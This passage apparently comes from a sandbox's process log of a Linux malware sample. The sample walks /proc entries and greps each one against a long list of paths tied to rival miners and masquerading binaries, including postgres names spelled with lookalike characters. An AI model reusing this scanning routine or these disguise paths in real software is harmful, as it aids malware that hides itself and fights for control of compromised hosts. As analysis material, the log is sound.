  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1116
- /bin/grep
  grep -q systemd
  2⤵
  PID:1118
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1120
- /bin/grep
  grep exe
  2⤵
  PID:1123
- /bin/ls
  ls -latrh /proc/383
  2⤵
  PID:1122
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1125
- /bin/grep
  grep -q systemd
  2⤵
  PID:1127
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1129
- /bin/grep
  grep exe
  2⤵
  PID:1132
- /bin/ls
  ls -latrh /proc/4
  2⤵
  PID:1131
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1134
- /bin/grep
  grep -q systemd
  2⤵
  PID:1136
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1138
- /bin/grep
  grep exe
  2⤵
  PID:1141
- /bin/ls
  ls -latrh /proc/417
  2⤵
  PID:1140
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1143
- /bin/grep
  grep -q systemd
  2⤵
  PID:1145
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1147
- /bin/grep
  grep exe
  2⤵
  PID:1150
- /bin/ls
  ls -latrh /proc/5
  2⤵
  PID:1149
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1152
- /bin/grep
  grep -q systemd
  2⤵
  PID:1154
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1156
- /bin/grep
  grep exe
  2⤵
  PID:1159
- /bin/ls
  ls -latrh /proc/6
  2⤵
  PID:1158
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1162
- /bin/grep
  grep -q systemd
  2⤵
  PID:1165
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1167
- /bin/grep
  grep exe
  2⤵
  PID:1170
- /bin/ls
  ls -latrh /proc/661
  2⤵
  PID:1169
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1174
- /bin/grep
  grep -q systemd
  2⤵
  PID:1176
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1178
- /bin/grep
  grep exe
  2⤵
  PID:1182
- /bin/ls
  ls -latrh /proc/670
  2⤵
  PID:1181
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1185
- /bin/grep
  grep -q systemd
  2⤵
  PID:1188
- /bin/grep
  grep -q deleted
  2⤵
  PID:1191
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1193
- /bin/grep
  grep exe
  2⤵
  PID:1196
- /bin/ls
  ls -latrh /proc/673
  2⤵
  PID:1195
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1200
- /bin/grep
  grep -q systemd
  2⤵
  PID:1202
- /bin/grep
  grep -q deleted
  2⤵
  PID:1205
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1207
- /bin/grep
  grep exe
  2⤵
  PID:1211
- /bin/ls
  ls -latrh /proc/675
  2⤵
  PID:1210
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1214
- /bin/grep
  grep -q systemd
  2⤵
  PID:1217
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1219
- /bin/grep
  grep exe
  2⤵
  PID:1223
- /bin/ls
  ls -latrh /proc/676
  2⤵
  PID:1222
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1226
- /bin/grep
  grep -q systemd
  2⤵
  PID:1231
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1234
- /bin/grep
  grep exe
  2⤵
  PID:1238
- /bin/ls
  ls -latrh /proc/699
  2⤵
  PID:1237
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1240
- /bin/grep
  grep -q systemd
  2⤵
  PID:1243
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1246
- /bin/grep
  grep exe
  2⤵
  PID:1249
- /bin/ls
  ls -latrh /proc/7
  2⤵
  PID:1248
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1253
- /bin/grep
  grep -q systemd
  2⤵
  PID:1255
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1257
- /bin/grep
  grep exe
  2⤵
  PID:1261
- /bin/ls
  ls -latrh /proc/70
  2⤵
  PID:1260
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1264
- /bin/grep
  grep -q systemd
  2⤵
  PID:1267
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1270
- /bin/grep
  grep exe
  2⤵
  PID:1273
- /bin/ls
  ls -latrh /proc/701
  2⤵
  PID:1272
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1275
- /bin/grep
  grep -q systemd
  2⤵
  PID:1278
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1281
- /bin/grep
  grep exe
  2⤵
  PID:1284
- /bin/ls
  ls -latrh /proc/706
  2⤵
  PID:1283
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1288
- /bin/grep
  grep -q systemd
  2⤵
  PID:1290
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1292
- /bin/grep
  grep exe
  2⤵
  PID:1295
- /bin/ls
  ls -latrh /proc/707
  2⤵
  PID:1294
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1297
- /bin/grep
  grep -q systemd
  2⤵
  PID:1299
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1301
- /bin/grep
  grep exe
  2⤵
  PID:1304
- /bin/ls
  ls -latrh /proc/708
  2⤵
  PID:1303
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1306
- /bin/grep
  grep -q systemd
  2⤵
  PID:1308
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1310
- /bin/grep
  grep exe
  2⤵
  PID:1313
- /bin/ls
  ls -latrh /proc/71
  2⤵
  PID:1312
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1315
- /bin/grep
  grep -q systemd
  2⤵
  PID:1317
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1319
- /bin/grep
  grep exe
  2⤵
  PID:1322
- /bin/ls
  ls -latrh /proc/711
  2⤵
  PID:1321
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1324
- /bin/grep
  grep -q systemd
  2⤵
  PID:1326
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1328
- /bin/grep
  grep exe
  2⤵
  PID:1331
- /bin/ls
  ls -latrh /proc/713
  2⤵
  PID:1330
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1333
- /bin/grep
  grep -q systemd
  2⤵
  PID:1335
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1337
- /bin/grep
  grep exe
  2⤵
  PID:1340
- /bin/ls
  ls -latrh /proc/717
  2⤵
  PID:1339
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1342
- /bin/grep
  grep -q systemd
  2⤵
  PID:1344
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1346
- /bin/grep
  grep exe
  2⤵
  PID:1349
- /bin/ls
  ls -latrh /proc/72
  2⤵
  PID:1348
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1351
- /bin/grep
  grep -q systemd
  2⤵
  PID:1353
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1355
- /bin/grep
  grep exe
  2⤵
  PID:1358
- /bin/ls
  ls -latrh /proc/73
  2⤵
  PID:1357
- /bin/grep
